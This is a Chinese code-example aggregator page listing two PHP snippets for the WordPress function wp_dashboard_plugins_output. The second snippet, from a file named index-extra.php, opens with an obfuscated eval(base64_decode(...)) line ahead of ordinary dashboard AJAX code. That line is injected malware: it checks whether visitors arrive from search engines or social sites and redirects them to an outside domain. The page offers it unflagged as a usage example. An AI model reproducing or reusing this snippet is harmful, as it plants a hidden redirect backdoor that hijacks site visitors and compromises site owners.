当前位置: 首页>>代码示例>>PHP>>正文


PHP wp_dashboard_plugins_output函数代码示例

本文整理汇总了PHP中wp_dashboard_plugins_output函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_dashboard_plugins_output函数的具体用法?PHP wp_dashboard_plugins_output怎么用?PHP wp_dashboard_plugins_output使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了wp_dashboard_plugins_output函数的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: wp_dashboard_primary_output

/**
 * Display the WordPress news feeds.
 *
 * @since 3.8.0
 *
 * @param string $widget_id Widget ID.
 * @param array  $feeds     Array of RSS feeds.
 */
function wp_dashboard_primary_output($widget_id, $feeds)
{
    foreach ($feeds as $type => $args) {
        $args['type'] = $type;
        echo '<div class="rss-widget">';
        if ($type === 'plugins') {
            wp_dashboard_plugins_output($args['url'], $args);
        } else {
            wp_widget_rss_output($args['url'], $args);
        }
        echo "</div>";
    }
}
开发者ID:riasnelli,项目名称:WordPress,代码行数:21,代码来源:dashboard.php

示例2: eval

<?php

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
/**
 * Handle default dashboard widgets options AJAX.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** Load WordPress Bootstrap */
require_once 'admin.php';
/** Load WordPress Administration Dashboard API */
require 'includes/dashboard.php';
/** Load Magpie RSS API or custom RSS API */
require_once ABSPATH . WPINC . '/rss.php';
@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
switch ($_GET['jax']) {
    case 'dashboard_incoming_links':
        wp_dashboard_incoming_links_output();
        break;
    case 'dashboard_primary':
        wp_dashboard_rss_output('dashboard_primary');
        break;
    case 'dashboard_secondary':
        wp_dashboard_secondary_output();
        break;
    case 'dashboard_plugins':
        wp_dashboard_plugins_output();
        break;
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:30,代码来源:index-extra.php


注:本文中的wp_dashboard_plugins_output函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。